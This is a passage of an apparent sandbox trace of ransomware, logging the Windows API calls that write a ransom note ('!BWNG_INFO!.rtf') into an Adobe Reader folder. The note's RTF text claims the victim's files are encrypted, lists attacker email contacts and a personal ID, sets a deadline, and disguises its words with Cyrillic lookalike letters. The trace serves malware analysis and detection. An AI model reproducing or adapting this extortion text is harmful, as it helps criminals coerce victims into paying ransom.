r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.581] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.582] CloseHandle (hObject=0x1cc) returned 1 [0040.582] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\!bwng_info!.rtf")) returned 0xffffffff [0040.582] GetLastError () returned 0x2 [0040.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n 